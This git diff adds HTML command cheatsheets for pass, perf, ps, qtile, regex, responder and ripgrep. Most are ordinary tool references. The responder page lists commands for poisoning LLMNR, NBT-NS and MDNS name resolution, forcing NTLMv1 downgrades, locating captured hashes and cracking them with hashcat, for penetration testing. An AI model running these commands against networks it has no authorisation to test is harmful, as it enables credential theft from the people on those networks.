      • pass -c <entry> - Copy password to clipboard
      • +
      +
        +
      • pass insert <entry> - Insert new password (prompts)
      • +
      +
        +
      • pass generate <entry> <length> - Generate random password
      • +
      +
        +
      • pass rm <entry> - Remove password entry
      • +
      +
        +
      • pass mv <old> <new> - Rename/move entry
      • +
      +
        +
      • pass cp <old> <new> - Copy entry
      • +
      +
      +

      Password Generation

      +
        +
      • pass generate <entry> 20 - Generate 20-character password
      • +
      +
        +
      • pass generate -n <entry> 16 - Generate without symbols
      • +
      +
        +
      • pass generate -c <entry> 24 - Generate and copy to clipboard
      • +
      +
        +
      • pass generate -i <entry> - Interactive generation
      • +
      +
      +

      Multi-line Entries

      +
        +
      • pass insert -m <entry> - Insert multi-line entry
      • +
      +
        +
      • First line is password, additional lines are metadata
      • +
      +
        +
      • pass edit <entry> - Edit entry with $EDITOR
      • +
      +
      +

      Git Integration

      +
        +
      • pass git init - Initialize git repo
      • +
      +
        +
      • pass git push - Push to remote
      • +
      +
        +
      • pass git pull - Pull from remote
      • +
      +
        +
      • pass git log - Show commit history
      • +
      +
      +

      Common Examples

      +

      Initialize Store

      +
      pass init your@email.com
      +

      Initialize password store with your GPG key.

      +

      Generate Password

      +
      pass generate -c websites/github.com 32
      +

      Generate and copy 32-character password.

      +

      Retrieve Password

      +
      pass websites/github.com
      +

      Show password for entry.

      +

      Copy to Clipboard

      +
      pass -c websites/github.com
      +

      Copy password to clipboard (clears after 45 seconds).

      +

      Multi-line Entry

      +
      pass insert -m accounts/example.com
      +# Enter password, then username, then notes
      +

      Create entry with password and metadata.

      +

      Git Sync

      +
      pass git init
      +pass git remote add origin git@example.com:pass.git
      +pass git push
      +

      Set up git sync for password store.

      +
      +

      Tips

      +
        +
      • Organize passwords in directories (websites/, servers/, etc.)
      • +
      +
        +
      • Use -c flag to copy passwords without displaying them
      • +
      +
        +
      • First line of entry is the password, rest is metadata
      • +
      +
        +
      • Git integration makes it easy to sync across devices
      • +
      +
        +
      • Works great with browser extensions (passff, browserpass)
      • +
      +
        +
      • Use pass-otp for TOTP codes
      • +
      +
        +
      • Simple, auditable, and secure
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/perf.html b/cheatsheets/perf.html new file mode 100644 index 0000000..fe5afff --- /dev/null +++ b/cheatsheets/perf.html @@ -0,0 +1,222 @@ + + + + + + + + + + + perf Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      perf Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      perf is a performance analysis tool for Linux. Provides profiling, tracing, and performance monitoring capabilities using hardware performance counters and kernel tracing.

      +
      +

      Basic Usage

      +
        +
      • perf stat command - Count events
      • +
      +
        +
      • perf record command - Record performance data
      • +
      +
        +
      • perf report - Analyze recorded data
      • +
      +
        +
      • perf top - Real-time profiling
      • +
      +
        +
      • perf list - List available events
      • +
      +
      +

      perf stat

      +
        +
      • perf stat command - Count events for command
      • +
      +
        +
      • perf stat -a - System-wide statistics
      • +
      +
        +
      • perf stat -e event - Count specific event
      • +
      +
        +
      • perf stat -p PID - Attach to process
      • +
      +
        +
      • perf stat -r N - Run N times and average
      • +
      +
        +
      • perf stat -d - Detailed statistics
      • +
      +
        +
      • perf stat -I interval - Interval output
      • +
      +
      +

      perf record

      +
        +
      • perf record command - Record command execution
      • +
      +
        +
      • perf record -a - System-wide recording
      • +
      +
        +
      • perf record -p PID - Record process
      • +
      +
        +
      • perf record -g - Record call graphs
      • +
      +
        +
      • perf record -e event - Record specific event
      • +
      +
        +
      • perf record -F freq - Sampling frequency
      • +
      +
        +
      • perf record -o file - Output file
      • +
      +
        +
      • perf record -s - Per-thread statistics
      • +
      +
      +

      perf report

      +
        +
      • perf report - Analyze perf.data
      • +
      +
        +
      • perf report -i file - Input file
      • +
      +
        +
      • perf report -g - Show call graph
      • +
      +
        +
      • perf report -s symbol - Sort by symbol
      • +
      +
        +
      • perf report -n - Show overhead
      • +
      +
        +
      • perf report --stdio - Text output
      • +
      +
        +
      • perf report --tui - TUI interface
      • +
      +
      +

      perf top

      +
        +
      • perf top - Real-time profiling
      • +
      +
        +
      • perf top -a - System-wide
      • +
      +
        +
      • perf top -p PID - Specific process
      • +
      +
        +
      • perf top -e event - Specific event
      • +
      +
        +
      • perf top -g - Show call graph
      • +
      +
        +
      • perf top -K - Hide kernel symbols
      • +
      +
        +
      • perf top -U - Hide user symbols
      • +
      +
      +

      Common Examples

      +

      Count Events

      +
      perf stat ls
      +

      Count performance events for command.

      +

      System-Wide Stats

      +
      perf stat -a sleep 5
      +

      System-wide statistics.

      +

      Record Performance

      +
      perf record -g ./program
      +

      Record with call graph.

      +

      Real-Time Profiling

      +
      perf top
      +

      Interactive performance monitor.

      +

      List Events

      +
      perf list
      +

      Show available events.

      +

      Analyze Recorded Data

      +
      perf report
      +

      View performance report.

      +

      Record Process

      +
      perf record -p 1234
      +

      Record specific process.

      +

      Specific Event

      +
      perf stat -e cache-misses command
      +

      Count cache misses.

      +
      +

      Tips

      +
        +
      • Use perf stat for quick measurements
      • +
      +
        +
      • Use perf record for detailed analysis
      • +
      +
        +
      • Use -g for call graph analysis
      • +
      +
        +
      • Use perf top for real-time monitoring
      • +
      +
        +
      • Check perf list for available events
      • +
      +
        +
      • May require root for system-wide profiling
      • +
      +
        +
      • Essential for performance optimization
      • +
      +
        +
      • Powerful tool for kernel and application profiling
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/ps.html b/cheatsheets/ps.html new file mode 100644 index 0000000..5124c94 --- /dev/null +++ b/cheatsheets/ps.html @@ -0,0 +1,234 @@ + + + + + + + + + + + ps Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      ps Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      ps (process status) displays information about running processes. Shows process IDs, resource usage, and command lines. Essential for system monitoring and process management.

      +
      +

      Basic Usage

      +
        +
      • ps - List processes in current session
      • +
      +
        +
      • ps aux - All processes (BSD style)
      • +
      +
        +
      • ps -ef - All processes (System V style)
      • +
      +
        +
      • ps -e - All processes
      • +
      +
        +
      • ps -f - Full format
      • +
      +
        +
      • ps -u user - User processes
      • +
      +
      +

      Common Options

      +
        +
      • -a - All processes except session leaders
      • +
      +
        +
      • -e - All processes
      • +
      +
        +
      • -f - Full format
      • +
      +
        +
      • -l - Long format
      • +
      +
        +
      • -u user - User processes
      • +
      +
        +
      • -p PID - Specific PID
      • +
      +
        +
      • -C command - Command name
      • +
      +
        +
      • -x - Include processes without TTY
      • +
      +
      +

      Output Format

      +
        +
      • ps aux - User-oriented format
      • +
      +
        +
      • ps -ef - Full format
      • +
      +
        +
      • ps -l - Long format
      • +
      +
        +
      • ps -o format - Custom format
      • +
      +
        +
      • ps --forest - Tree format
      • +
      +
        +
      • ps --sort key - Sort by key
      • +
      +
      +

      Custom Columns

      +
        +
      • ps -o pid,comm,cmd - Custom columns
      • +
      +
        +
      • ps -o pid,user,%mem,%cpu - Resource usage
      • +
      +
        +
      • ps -o pid,etime,cmd - Elapsed time
      • +
      +
        +
      • ps -o pid,ppid,cmd - Parent process
      • +
      +
      +

      Common Examples

      +

      All Processes

      +
      ps aux
      +

      List all processes with details.

      +

      User Processes

      +
      ps -u username
      +

      Processes for specific user.

      +

      Specific Process

      +
      ps -p 1234
      +

      Information about PID.

      +

      Command Search

      +
      ps -C firefox
      +

      Find process by command.

      +

      Tree Format

      +
      ps --forest
      +

      Show process tree.

      +

      Custom Format

      +
      ps -o pid,%mem,%cpu,cmd
      +

      Custom columns.

      +

      Sort by Memory

      +
      ps aux --sort=-%mem | head
      +

      Top memory consumers.

      +

      Sort by CPU

      +
      ps aux --sort=-%cpu | head
      +

      Top CPU consumers.

      +

      Full Command

      +
      ps -f -p 1234
      +

      Full command line.

      +

      Elapsed Time

      +
      ps -o pid,etime,cmd
      +

      Show how long process has run.

      +
      +

      Common Fields

      +
        +
      • PID - Process ID
      • +
      +
        +
      • PPID - Parent Process ID
      • +
      +
        +
      • USER - Process owner
      • +
      +
        +
      • %CPU - CPU usage
      • +
      +
        +
      • %MEM - Memory usage
      • +
      +
        +
      • VSZ - Virtual memory size
      • +
      +
        +
      • RSS - Resident set size
      • +
      +
        +
      • TTY - Terminal
      • +
      +
        +
      • STAT - Process state
      • +
      +
        +
      • START - Start time
      • +
      +
        +
      • TIME - CPU time
      • +
      +
        +
      • COMMAND - Command line
      • +
      +
      +

      Tips

      +
        +
      • Use ps aux for comprehensive view
      • +
      +
        +
      • Use --sort to find resource hogs
      • +
      +
        +
      • Use --forest to see process trees
      • +
      +
        +
      • Combine with grep to filter
      • +
      +
        +
      • Use -o for custom output
      • +
      +
        +
      • Essential for system monitoring
      • +
      +
        +
      • Check STAT column for process state
      • +
      +
        +
      • Use with kill for process management
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/qtile.html b/cheatsheets/qtile.html new file mode 100644 index 0000000..c6c2ccf --- /dev/null +++ b/cheatsheets/qtile.html @@ -0,0 +1,274 @@ + + + + + + + + + + + qtile Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      qtile Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      qtile is a full-featured, hackable tiling window manager written in Python.

      +
      +

      Application Launch

      +
        +
      • Mod+Return - Launch terminal
      • +
      +
        +
      • Mod+P - Application launcher (rofi/dmenu)
      • +
      +
        +
      • Mod+Shift+P - Application launcher (alternative)
      • +
      +
      +

      Window Management

      +
        +
      • Mod+W - Close focused window
      • +
      +
        +
      • Mod+Shift+C - Close window (alternative)
      • +
      +
        +
      • Mod+F - Toggle fullscreen
      • +
      +
        +
      • Mod+Shift+F - Toggle floating
      • +
      +
        +
      • Mod+M - Minimize window
      • +
      +
        +
      • Mod+Shift+M - Restore minimized window
      • +
      +
      +

      Window Navigation

      +
        +
      • Mod+J or Mod+↓ - Focus down
      • +
      +
        +
      • Mod+K or Mod+↑ - Focus up
      • +
      +
        +
      • Mod+H or Mod+← - Focus left
      • +
      +
        +
      • Mod+L or Mod+→ - Focus right
      • +
      +
        +
      • Mod+Space - Switch focus between panes (stack layout)
      • +
      +
        +
      • Mod+Tab - Switch to next window
      • +
      +
        +
      • Mod+Shift+Tab - Switch to previous window
      • +
      +
      +

      Window Movement

      +
        +
      • Mod+Shift+J or Mod+Shift+↓ - Move window down
      • +
      +
        +
      • Mod+Shift+K or Mod+Shift+↑ - Move window up
      • +
      +
        +
      • Mod+Shift+H or Mod+Shift+← - Move window left
      • +
      +
        +
      • Mod+Shift+L or Mod+Shift+→ - Move window right
      • +
      +
        +
      • Mod+Shift+Space - Swap window with master
      • +
      +
      +

      Window Resizing

      +
        +
      • Mod+Ctrl+H or Mod+Ctrl+← - Grow window left
      • +
      +
        +
      • Mod+Ctrl+L or Mod+Ctrl+→ - Grow window right
      • +
      +
        +
      • Mod+Ctrl+J or Mod+Ctrl+↓ - Grow window down
      • +
      +
        +
      • Mod+Ctrl+K or Mod+Ctrl+↑ - Grow window up
      • +
      +
        +
      • Mod+Shift+Equal - Reset window sizes
      • +
      +
      +

      Layouts

      +
        +
      • Mod+Tab - Switch to next layout
      • +
      +
        +
      • Mod+Shift+Tab - Switch to previous layout
      • +
      +
        +
      • Mod+Space - Switch focus (stack layout)
      • +
      +
        +
      • Mod+Shift+Space - Swap window with master
      • +
      +
      +

      Groups (Workspaces)

      +
        +
      • Mod+1-9 - Switch to group
      • +
      +
        +
      • Mod+Shift+1-9 - Move window to group
      • +
      +
        +
      • Mod+G - Switch to next group
      • +
      +
        +
      • Mod+Shift+G - Switch to previous group
      • +
      +
      +

      System

      +
        +
      • Mod+Ctrl+R - Reload qtile config
      • +
      +
        +
      • Mod+Ctrl+Q - Restart qtile
      • +
      +
        +
      • Mod+Shift+Q - Shutdown qtile
      • +
      +
        +
      • Mod+Shift+R - Restart qtile (alternative)
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/qtile/config.py (user config)
      • +
      +
        +
      • Default config in libqtile/resources/default_config.py
      • +
      +

      Example Key Bindings

      +

      Customize in config.py:

      +
      from libqtile.config import Key
      +from libqtile.lazy import lazy
      +
      +mod = "mod4"  # Super/Windows key
      +
      +keys = [
      +    # Application launch
      +    Key([mod], "Return", lazy.spawn("kitty"), desc="Launch terminal"),
      +    Key([mod], "p", lazy.spawn("rofi -show drun"), desc="Application launcher"),
      +    
      +    # Window navigation
      +    Key([mod], "j", lazy.layout.down(), desc="Move focus down"),
      +    Key([mod], "k", lazy.layout.up(), desc="Move focus up"),
      +    Key([mod], "h", lazy.layout.left(), desc="Move focus left"),
      +    Key([mod], "l", lazy.layout.right(), desc="Move focus right"),
      +    
      +    # Window movement
      +    Key([mod, "shift"], "j", lazy.layout.shuffle_down(), desc="Move window down"),
      +    Key([mod, "shift"], "k", lazy.layout.shuffle_up(), desc="Move window up"),
      +    Key([mod, "shift"], "h", lazy.layout.shuffle_left(), desc="Move window left"),
      +    Key([mod, "shift"], "l", lazy.layout.shuffle_right(), desc="Move window right"),
      +    
      +    # Window management
      +    Key([mod], "w", lazy.window.kill(), desc="Close window"),
      +    Key([mod], "f", lazy.window.toggle_fullscreen(), desc="Toggle fullscreen"),
      +    Key([mod, "shift"], "f", lazy.window.toggle_floating(), desc="Toggle floating"),
      +    
      +    # Layouts
      +    Key([mod], "Tab", lazy.next_layout(), desc="Switch layouts"),
      +    Key([mod], "space", lazy.layout.next(), desc="Switch focus"),
      +    
      +    # Groups
      +    Key([mod], "1", lazy.group["1"].toscreen(), desc="Switch to group 1"),
      +    Key([mod, "shift"], "1", lazy.window.togroup("1"), desc="Move window to group 1"),
      +    
      +    # System
      +    Key([mod, "control"], "r", lazy.reload_config(), desc="Reload config"),
      +    Key([mod, "control"], "q", lazy.restart(), desc="Restart qtile"),
      +    Key([mod, "shift"], "q", lazy.shutdown(), desc="Shutdown qtile"),
      +]
      +

      Change Modifier Key

      +
      mod = "mod4"  # Super/Windows key
      +# or
      +mod = "mod1"  # Alt key
      +
      +

      Tips

      +
        +
      • Config is Python - full programming language available
      • +
      +
        +
      • Use KeyChord for binding sequences/modes
      • +
      +
        +
      • Supports groups (workspaces) and moving windows between them
      • +
      +
        +
      • Layouts, widgets, and screen settings all in Python config
      • +
      +
        +
      • Default layout switching and focus commands use hjkl
      • +
      +
        +
      • Use lazy.call() for custom functions
      • +
      +
        +
      • Supports multiple screens/monitors
      • +
      +
        +
      • Widgets configurable via Python
      • +
      +
        +
      • Use EzKey helper for simpler key definitions
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/regex.html b/cheatsheets/regex.html new file mode 100644 index 0000000..646a07c --- /dev/null +++ b/cheatsheets/regex.html @@ -0,0 +1,252 @@ + + + + + + + + + + + regex Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      regex Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Regular expressions (regex) are patterns used to match character combinations in strings. This cheatsheet covers common regex syntax with working examples.

      +
      +

      Basic Patterns

      +
        +
      • `.` - Match any single character (except newline)
      • +
      +

      Example: `h.t` matches "hat", "hot", "hit"

      +
        +
      • `[abc]` - Match any character in brackets
      • +
      +

      Example: `[aeiou]` matches any vowel

      +
        +
      • `[^abc]` - Match any character NOT in brackets
      • +
      +

      Example: `[^aeiou]` matches any consonant

      +
        +
      • `[a-z]` - Match any character in range
      • +
      +

      Example: `[0-9]` matches any digit

      +
      +

      Quantifiers

      +
        +
      • `*` - Zero or more of preceding element
      • +
      +

      Example: `ab*c` matches "ac", "abc", "abbc", "abbbc"

      +
        +
      • `+` - One or more of preceding element
      • +
      +

      Example: `ab+c` matches "abc", "abbc" but not "ac"

      +
        +
      • `?` - Zero or one of preceding element (optional)
      • +
      +

      Example: `colou?r` matches both "color" and "colour"

      +
        +
      • `{n}` - Exactly n occurrences
      • +
      +

      Example: `\d{3}` matches exactly 3 digits

      +
        +
      • `{n,}` - n or more occurrences
      • +
      +

      Example: `\d{3,}` matches 3 or more digits

      +
        +
      • `{n,m}` - Between n and m occurrences
      • +
      +

      Example: `\d{2,4}` matches 2 to 4 digits

      +
      +

      Anchors

      +
        +
      • `^` - Start of string (or start of line in multiline mode)
      • +
      +

      Example: `^Hello` matches "Hello" only at the start

      +
        +
      • `$` - End of string (or end of line in multiline mode)
      • +
      +

      Example: `world$` matches "world" only at the end

      +
        +
      • `\b` - Word boundary
      • +
      +

      Example: `\bcat\b` matches "cat" but not "category"

      +
        +
      • `\B` - Non-word boundary
      • +
      +

      Example: `\Bcat\B` matches "category" but not "cat"

      +
      +

      Character Classes

      +
        +
      • `\d` - Any digit (equivalent to `[0-9]`)
      • +
      +

      Example: `\d{4}` matches "2024", "1234"

      +
        +
      • `\D` - Any non-digit (equivalent to `[^0-9]`)
      • +
      +

      Example: `\D+` matches "abc", "xyz"

      +
        +
      • `\w` - Any word character (letters, digits, underscore)
      • +
      +

      Example: `\w+` matches "hello", "test123", "my_var"

      +
        +
      • `\W` - Any non-word character
      • +
      +

      Example: `\W+` matches "!!!", " ", "---"

      +
        +
      • `\s` - Any whitespace character (space, tab, newline)
      • +
      +

      Example: `\s+` matches spaces, tabs

      +
        +
      • `\S` - Any non-whitespace character
      • +
      +

      Example: `\S+` matches "hello", "123"

      +
      +

      Groups and Capturing

      +
        +
      • `(abc)` - Capture group
      • +
      +

      Example: `(hello)` captures "hello" for backreference

      +
        +
      • `(?:abc)` - Non-capturing group
      • +
      +

      Example: `(?:hello|hi)` matches but doesn't capture

      +
        +
      • `|` - Alternation (OR)
      • +
      +

      Example: `cat|dog` matches "cat" or "dog"

      +
        +
      • `\1, \2, ...` - Backreferences to captured groups
      • +
      +

      Example: `(\w)\1` matches "aa", "bb", "11"

      +
      +

      Special Characters (Escaping)

      +
        +
      • `\.` - Literal period
      • +
      +

      Example: `\.com` matches ".com"

      +
        +
      • `\+` - Literal plus sign
      • +
      +

      Example: `\+1` matches "+1"

      +
        +
      • `\*` - Literal asterisk
      • +
      +

      Example: `\*note` matches "*note"

      +
        +
      • `\?` - Literal question mark
      • +
      +

      Example: `really\?` matches "really?"

      +
        +
      • `\(` `\)` - Literal parentheses
      • +
      +

      Example: `\(test\)` matches "(test)"

      +
      +

      Common Patterns

      +

      Email Address (Simple)

      +
      [\w.-]+@[\w.-]+\.\w+
      +

      Matches: `user@example.com`, `test.email@domain.co.uk`

      +

      Phone Number (US Format)

      +
      \(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}
      +

      Matches: `(555)123-4567`, `555-123-4567`, `555.123.4567`

      +

      URL

      +
      https?://[\w.-]+(?:\.[\w.-]+)*(?:/[\w./?=&#-]*)?
      +

      Matches: `https://example.com`, `http://site.com/path?q=1`

      +

      IP Address

      +
      \b(?:\d{1,3}\.){3}\d{1,3}\b
      +

      Matches: `192.168.1.1`, `10.0.0.1`

      +

      Date (MM/DD/YYYY)

      +
      \d{2}/\d{2}/\d{4}
      +

      Matches: `12/25/2024`, `01/01/2025`

      +
      +

      Flags/Modifiers (Common)

      +
        +
      • `i` - Case-insensitive matching
      • +
      +

      Example: `/hello/i` matches "Hello", "HELLO", "hello"

      +
        +
      • `g` - Global matching (find all, not just first)
      • +
      +

      Example: `/cat/g` finds all occurrences of "cat"

      +
        +
      • `m` - Multiline mode (^ and $ match line boundaries)
      • +
      +

      Example: `/^line/m` matches "line" at start of any line

      +
        +
      • `s` - Dotall mode (. matches newline)
      • +
      +

      Example: `/hello.world/s` matches "hello\nworld"

      +
      +

      Tips

      +
        +
      • Test regex patterns with online tools like regex101.com or regexr.com
      • +
      +
        +
      • Escape special characters with backslash when you want literal matches
      • +
      +
        +
      • Use non-greedy quantifiers (`*?`, `+?`) for minimal matches
      • +
      +
        +
      • Group related patterns with parentheses for better organization
      • +
      +
        +
      • Use anchors (`^`, `$`) to ensure full string matching
      • +
      +
        +
      • Different tools/languages may have slightly different regex syntax
      • +
      +
        +
      • Common uses: validation, search/replace, parsing, extraction
      • +
      +
        +
      • Start simple and build complexity incrementally
      • +
      +
        +
      • Document complex regex patterns with comments if your tool supports it
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/responder.html b/cheatsheets/responder.html new file mode 100644 index 0000000..0ceb46a --- /dev/null +++ b/cheatsheets/responder.html @@ -0,0 +1,209 @@ + + + + + + + + + + + responder Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      responder Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Responder is a LLMNR, NBT-NS, and MDNS poisoner. Answers name resolution requests to capture authentication hashes. Essential for network penetration testing and credential harvesting in Windows environments.

      +
      +

      Basic Usage

      +
        +
      • responder -I eth0 - Start on interface
      • +
      +
        +
      • responder -I eth0 -rdw - Enable all protocols
      • +
      +
        +
      • responder -I eth0 -A - Analyze mode (no poisoning)
      • +
      +
        +
      • responder -I eth0 -v - Verbose mode
      • +
      +
      +

      Protocol Options

      +
        +
      • -r - Enable Responder for LLMNR
      • +
      +
        +
      • -d - Enable Responder for NBT-NS
      • +
      +
        +
      • -w - Enable Responder for MDNS
      • +
      +
        +
      • -f - Fingerprint hosts
      • +
      +
        +
      • -P - Force NTLMv1
      • +
      +
        +
      • -D - Force NTLM downgrade
      • +
      +
      +

      Service Options

      +
        +
      • -S - Enable HTTP server
      • +
      +
        +
      • -U - Enable UPnP server
      • +
      +
        +
      • -F - Force wpad auth
      • +
      +
        +
      • -a - Enable SMB server
      • +
      +
        +
      • -6 - Enable IPv6
      • +
      +
      +

      Output Options

      +
        +
      • -v - Verbose output
      • +
      +
        +
      • -A - Analyze mode (no poisoning)
      • +
      +
        +
      • -i file - Respond to IPs from file
      • +
      +
        +
      • -e IP - External IP for wpad
      • +
      +
        +
      • -b - Basic authentication
      • +
      +
        +
      • -l file - Log file
      • +
      +
      +

      Common Examples

      +

      Basic Poisoning

      +
      responder -I eth0
      +

      Start on interface with defaults.

      +

      All Protocols

      +
      responder -I eth0 -rdw
      +

      Enable LLMNR, NBT-NS, and MDNS.

      +

      Analyze Mode

      +
      responder -I eth0 -A
      +

      Monitor without poisoning.

      +

      Force NTLMv1

      +
      responder -I eth0 -P
      +

      Force weaker NTLMv1 hashes.

      +

      With HTTP Server

      +
      responder -I eth0 -S
      +

      Enable HTTP authentication server.

      +

      Verbose

      +
      responder -I eth0 -v
      +

      Detailed output.

      +

      Specific IPs

      +
      responder -I eth0 -i targets.txt
      +

      Only respond to listed IPs.

      +

      Full Options

      +
      responder -I eth0 -rdw -S -v
      +

      Enable all features with verbose.

      +
      +

      Captured Hashes

      +
        +
      • /usr/share/responder/logs/ - Log directory
      • +
      +
        +
      • HTTP-NTLMv2-*.txt - HTTP hashes
      • +
      +
        +
      • SMB-NTLMv2-*.txt - SMB hashes
      • +
      +
        +
      • FTP-NTLMv2-*.txt - FTP hashes
      • +
      +
        +
      • LDAP-NTLMv2-*.txt - LDAP hashes
      • +
      +
      +

      Hash Format

      +
        +
      • username::domain:hash:hash - NTLMv2 format
      • +
      +
        +
      • Can be cracked with hashcat or john
      • +
      +
        +
      • hashcat -m 5600 hash.txt wordlist.txt - Crack NTLMv2
      • +
      +
      +

      Tips

      +
        +
      • Use on internal networks for best results
      • +
      +
        +
      • Enable all protocols (-rdw) for maximum coverage
      • +
      +
        +
      • Use -A mode first to analyze traffic
      • +
      +
        +
      • Check logs directory for captured hashes
      • +
      +
        +
      • Use -P to force NTLMv1 (easier to crack)
      • +
      +
        +
      • Combine with hashcat for password cracking
      • +
      +
        +
      • Essential for network penetration testing
      • +
      +
        +
      • Works best in Windows AD environments
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/ripgrep.html b/cheatsheets/ripgrep.html new file mode 100644 index 0000000..9982df4 --- /dev/null +++ b/cheatsheets/ripgrep.html @@ -0,0 +1,238 @@ + + + + + + + + + + + ripgrep Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      ripgrep Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      ripgrep (rg) is a fast text search tool that recursively searches directories for a regex pattern. Faster than grep, respects .gitignore by default, and has excellent Unicode support.

      +
      +

      Basic Usage

      +
        +
      • rg pattern - Search in current directory
      • +
      +
        +
      • rg pattern path/ - Search in directory
      • +
      +
        +
      • rg -i pattern - Case-insensitive search
      • +
      +
        +
      • rg -w pattern - Whole word match
      • +
      +
        +
      • rg -l pattern - List matching files only
      • +
      +
        +
      • rg -c pattern - Count matches per file
      • +
      +
      +

      Search Options

      +
        +
      • -i - Case-insensitive
      • +
      +
        +
      • -w - Whole word
      • +
      +
        +
      • -v - Invert match
      • +
      +
        +
      • -x - Match entire line
      • +
      +
        +
      • -F - Fixed string (no regex)
      • +
      +
        +
      • -e pattern - Pattern to search
      • +
      +
        +
      • -f file - Patterns from file
      • +
      +
        +
      • -g pattern - Glob pattern
      • +
      +
      +

      Output Options

      +
        +
      • -l - List files only
      • +
      +
        +
      • -L - List files without matches
      • +
      +
        +
      • -c - Count matches per file
      • +
      +
        +
      • --count-matches - Count matches (not lines)
      • +
      +
        +
      • -n - Show line numbers
      • +
      +
        +
      • -N - No line numbers
      • +
      +
        +
      • -C N - Context lines (before and after)
      • +
      +
        +
      • -A N - Lines after match
      • +
      +
        +
      • -B N - Lines before match
      • +
      +
        +
      • -H - Show filename (default)
      • +
      +
        +
      • -h - No filename
      • +
      +
        +
      • --color always - Always colorize
      • +
      +
        +
      • --color never - Never colorize
      • +
      +
        +
      • --color auto - Colorize when outputting to terminal
      • +
      +
      +

      File Options

      +
        +
      • -t type - Search only file type
      • +
      +
        +
      • -T type - Exclude file type
      • +
      +
        +
      • -g pattern - Include glob pattern
      • +
      +
        +
      • -g !pattern - Exclude glob pattern
      • +
      +
        +
      • --type-list - List all file types
      • +
      +
        +
      • --no-ignore - Don't respect ignore files
      • +
      +
        +
      • --ignore-case - Case-insensitive matching
      • +
      +
        +
      • -u - Unrestricted search (like --no-ignore)
      • +
      +
        +
      • -uu - Also search hidden files
      • +
      +
        +
      • -uuu - Also search binary files
      • +
      +
      +

      Common Examples

      +

      Basic Search

      +
      rg "function"
      +

      Search for "function" in current directory.

      +

      Case-Insensitive

      +
      rg -i "error"
      +

      Search case-insensitively.

      +

      List Files

      +
      rg -l "TODO"
      +

      List files containing "TODO".

      +

      With Context

      +
      rg -C 3 "pattern"
      +

      Show 3 lines before and after.

      +

      Specific File Type

      +
      rg -t py "import"
      +

      Search only Python files.

      +

      Exclude Type

      +
      rg -T js "function"
      +

      Search excluding JavaScript files.

      +

      Whole Word

      +
      rg -w "test"
      +

      Match whole word only.

      +

      Fixed String

      +
      rg -F "*.txt"
      +

      Search literal string (no regex).

      +

      Count Matches

      +
      rg -c "error"
      +

      Count matches per file.

      +

      Unrestricted

      +
      rg -u "pattern"
      +

      Ignore .gitignore and other ignore files.

      +
      +

      Tips

      +
        +
      • Much faster than grep for large codebases
      • +
      +
        +
      • Respects .gitignore by default
      • +
      +
        +
      • Use -i for case-insensitive search
      • +
      +
        +
      • Use -l to just list files
      • +
      +
        +
